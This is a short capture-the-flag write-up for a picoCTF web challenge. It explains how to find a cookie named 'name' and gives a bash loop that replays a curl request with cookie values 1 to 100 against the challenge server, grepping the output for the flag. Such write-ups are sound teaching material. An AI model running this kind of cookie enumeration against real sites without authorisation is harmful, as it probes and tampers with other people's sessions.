Inspect and view the Cookies used/set by the site. There is a cookie with name "name" and value "-1" On changing the value and reloading, a request is sent (observe in Networks tab), and a different message is displayed on the screen for different value. Copy the GET request as curl, and run a script:
START=1
END=100
for ((i=START; i<=END; i++))
do
echo "Running curl with cookie name: $i"
curl 'http://mercury.picoctf.net:21485/check' \
-H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7' \
-H 'Accept-Language: en-GB,en;q=0.9' \
-H 'Cache-Control: max-age=0' \
-H "Cookie: name=$i" \
-H 'Proxy-Connection: keep-alive' \
-H 'Referer: http://burpsuite/' \
-H 'Upgrade-Insecure-Requests: 1' \
-H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36' \
--insecure
echo -e "\n"
done
grep "picoCTF"
can be used to print the flag while the script is running.